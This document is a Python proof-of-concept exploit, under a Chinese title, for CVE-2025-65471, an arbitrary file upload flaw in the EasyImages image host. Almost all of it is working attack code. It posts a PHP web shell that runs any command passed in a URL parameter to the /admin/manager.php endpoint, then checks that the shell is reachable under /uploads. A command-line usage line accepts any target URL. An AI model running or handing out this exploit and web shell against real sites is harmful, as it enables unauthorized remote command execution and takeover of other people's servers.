CVE-2025-65471 EasyImages 2.0 任意文件上传漏洞

import requests import sys # CVE-2025-65471 PoC - EasyImages 2.0 Arbitrary File Upload # Target: EasyImages <= 2.8.6 # Component: /admin/manager.php def exploit(target_url, webshell_content): """ Exploit arbitrary file upload vulnerability in EasyImages 2.0 Upload a malicious PHP file to achieve RCE """ upload_url = f"{target_url.rstrip('/')}/admin/manager.php" # Prepare the malicious PHP file files = { 'file': ('shell.php', webshell_content, 'image/php') } # Additional fields that might be required data = { 'action': 'upload', 'dir': '/' } try: response = requests.post(upload_url, files=files, data=data, timeout=10) # Check if upload was successful if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") # Try to access the uploaded shell shell_path = f"{target_url.rstrip('/')}/uploads/shell.php" shell_check = requests.get(shell_path, timeout=10) if shell_check.status_code == 200: print(f"[+] Webshell accessible at: {shell_path}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/easyimages") sys.exit(1) target = sys.argv[1] # Simple webshell for demonstration webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" exploit(target, webshell)